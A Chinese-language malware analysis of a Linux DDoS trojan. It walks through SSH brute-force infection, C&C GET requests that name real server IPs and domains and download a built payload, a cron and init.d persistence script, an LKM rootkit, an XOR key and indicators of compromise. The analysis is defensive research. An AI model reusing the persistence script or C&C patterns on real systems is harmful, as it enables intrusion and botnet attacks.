該款木馬分析文章在2015年由@PETER KáLNAI 最先發(fā)表于AVAST的公開blog中,木馬的架構(gòu)嚴謹,設(shè)計精良,應(yīng)該是產(chǎn)業(yè)化的一部分。接下來我們就來看一下這款木馬的具體的感染,命令執(zhí)行和持久化的思路,希望能給我們搞防御的小伙伴擴充一點防御思路。
木馬的最初感染方式十分傳統(tǒng),他是通過暴力登錄SSH服務(wù)獲取root權(quán)限的方式來成功搞下感染體的(這里就體現(xiàn)了一個高質(zhì)量的字典的重要程度了)。成功拿下root權(quán)限之后,攻擊者就會向目標機器通過shell的方式利用腳本傳遞執(zhí)行安裝一個木馬。這個腳本文件主要包括一些程序如main, check, compiler, uncompress, setup, generate, upload, checkbuild和一些變量如 __host_32__, __host_64__, __kernel__, __remote__等。主程序的作用是根據(jù)感染目標機器的系統(tǒng)開發(fā)版本加密傳輸并且選擇C&C服務(wù)器。
在下面的請求中,iid參數(shù)傳遞的是內(nèi)核版本名稱的MD5哈希。腳本首先用lsmod命令列本機所有的模塊信息,然后,提取名稱和vermagic字段。在我們測試的環(huán)境中,被測試的環(huán)境是“3.8.0-19-generic\ SMP\ mod_unload\ modversions\ 686\ ”,對應(yīng)的MD5是CE74BF62ACFE944B2167248DD0674977。
接下來,就有三個GET請求被發(fā)送到C&C服務(wù)器上。
第一個是表明目標機器運行的操作系統(tǒng)的信息:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
然后,compiler程序會發(fā)送第二個GET請求:請求中包括的字段我們猜測應(yīng)該有C&C服務(wù)器,版本信息等,通過這個帶有本機特定版本信息的請求,服務(wù)器可以據(jù)此生成一個可執(zhí)行程序:
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
第三個GET請求則是下載上一個請求之后服務(wù)器生成的木馬的二進制文件,請求的方式已經(jīng)非常明顯了,看包:
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok
而以上的三個步驟僅僅是針對于感染機器的當前系統(tǒng)版本已經(jīng)包含在遠端服務(wù)器中的情況。如果當然的操作系統(tǒng)版本信息并沒有包含其中,那么腳本文件則會首先定位到內(nèi)核頭文件的/lib/modules/%s/build/目錄中(s%代表uname命令返回的特定信息),然后將內(nèi)核文件打包并上傳到C&C服務(wù)器上,這里上傳是用的mini這個程序。當然,對于一個產(chǎn)業(yè)化的木馬來說,這種情況是不多見的,一般的發(fā)行版本的內(nèi)核都是已經(jīng)被提前編譯好的,這里所提及的操作系統(tǒng)的內(nèi)核信息不在C&C服務(wù)器中的情況大多是比較特殊的服務(wù)器。
該rootkit組件是一個可裝載的內(nèi)核模塊(LKM)。在裝載之前,需要通過vermagic的值檢查。如果繞過檢查失敗,則該腳本會安裝一個木馬來替代rootkit組件。
主程序的二進制結(jié)構(gòu)如下圖所示:
該木馬的持續(xù)化的方式是通過多種方式進行的。首先,它將自己安裝在/boot/目錄下,然后命名為一個包含10個字節(jié)的字符串。然后腳本將木馬以相同的名字在/etc/init.d/ 目錄下創(chuàng)建,同時在/etc/rc%u.d/S90%s目錄建立五個符號鏈接,其中u%是1-5,s%是一個隨機值。這樣保證每次重啟系統(tǒng)木馬可以隨時啟動起來。而且,腳本還會對/etc/cron.hourly/cron.sh文件加入以下內(nèi)容:
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’
for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug
最后在crontab中插入一行代碼“*/3 * * * * root /etc/cron.hourly/cron.sh”
主程序主要有三個任務(wù),而且這三個任務(wù)是無限循環(huán)執(zhí)行的:
1、下載并執(zhí)行機器的配置文件;
2、將自身重裝到/lib/udev/udev的文件;
3、進行洪水攻擊
其中配置文件主要包含接下來四個類型:md5,denyip,filename和rmfile。主程序分別用這四個列表內(nèi)容來進行下一步的動作:根據(jù)md5值匹配一個運行進程的CRC的校驗值,匹配則將其殺死;根據(jù)ip值來激活一個會話;根據(jù)filename值和rmfile值來確定執(zhí)行或者最后刪除一個確定的文件。下圖就展示了部分配置文件的內(nèi)容(已知的競爭泛濫的木馬文件名被高亮顯示):
在進行自身安裝之前先把其他的木馬清除是一個洪水木馬的典型特征(你丫跟老子爭地盤不干你干誰)。
除此之外,我們還注意到,這個木馬還是一個ARM架構(gòu)木馬的變種。這表明潛在的受感染系統(tǒng)的列表(除32位和64位的Linux Web服務(wù)器外)還有可能擴展到路由器或者網(wǎng)絡(luò)上的其他可能運行*nix的設(shè)備上,不過這也只是一種可能性,目前根據(jù)監(jiān)測還未在其他平臺發(fā)現(xiàn)過此類木馬。木馬還包含一個daemondown的功能,專門處理進行文件下載運行工作:
在此之前,我們曾截獲過一個該木馬的32位變種,變種木馬有了一些差異。木馬文件安裝為/lib/libgcc4.so文件,含有辨識字符串(見下文)的唯一的文件是/var/run/udev.pid。安裝的腳本文件則在 /etc/cron.hourly/udev.sh,并且rootkit特性被完全移除。所有的這些文件就是攻陷指標(IoC)。
Windows平臺木馬使用各種各樣的rootkit功能來實現(xiàn)自身目的已經(jīng)很長時間了。這些木馬之中就有不少是用來進行洪水攻擊的(從2006年開始,各種此類木馬的源代碼已經(jīng)陸續(xù)公開),在之前Botconf 2014時,我們就提交過一份關(guān)于此類木馬的分析報告:《中國雞:雄雞中的戰(zhàn)斗雞》(《中國肉雞:多平臺DDoS僵尸網(wǎng)絡(luò)》),在這篇報告中,老外詳細分析了一款國產(chǎn)木馬,墻裂建議閱讀。而我們目前分析的這款木馬主要功能就是在實現(xiàn)目的的同時隱藏自身的行蹤:
木馬會創(chuàng)建一個 rs_dev進程來檢查rootkit,并且通過ioctl函數(shù)來調(diào)用這些請求。
請求包含兩個參數(shù):一個是rootkit執(zhí)行任務(wù)的值,另一個則是需要隱藏的端口的值。下面是一個木馬隱藏TCP連接的實例(注意任務(wù)序列值為3):
我們從木馬的名稱來猜測,極有可能木馬的作者是受到開源項目Suterusu(https://github.com/mncoppola/suterusu)的啟發(fā),而且還借鑒了部分該項目的代碼(進程注入部分)。該項目的描述是這么說的:針對于 Linux 2.6/3.x on x86(_64), and ARM平臺的LKM rootkit。關(guān)于該項目的的分析可以戳這里:http://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/
通信是雙向加密的,使用的是相同的XOR加密方式的硬編碼方式,秘鑰為BB2FA36AAA9541F0。通信過程中,/var/run/sftp.pid文件中包含一個唯一的長度為32位的字符串以識別不同的僵尸機器。下圖是一個C&C通信的命令列表,我們可以看到僵尸機器所監(jiān)聽的命令:開始洪水攻擊,結(jié)束洪水攻擊,下載文件,更新升級,發(fā)送進程md5值,殺死指定進程
在shell腳本中,C&C服務(wù)器列表是存儲在一個__remote__變量中的,該木馬首先將運行系統(tǒng)的參數(shù)發(fā)送給C&C服務(wù)器,而回復則是以一個命令的形式返回的。命令的報頭是一個長度為0x1C的字符串,該字符串存儲于Header變量中。第一個命令首先是停止所有攻擊,同時下達一個列表中的命令(命令重置)。下圖表示了整個命令,其中高亮圈出來的分別是:返回命令總長度(0x102C),任務(wù)序列值(0×3,這里對照上面的列表知道是_cmd_start)和洪水任務(wù)值(0xF):
命令剩下的部分包含了一個加密結(jié)構(gòu)的攻擊任務(wù)。對字符串解密之后,我們可以看到這中間有IP地址(紅色),待攻擊的端口(綠色),攻擊類型(灰色,SYN/DNS)
文章來源:FreeBuf.COM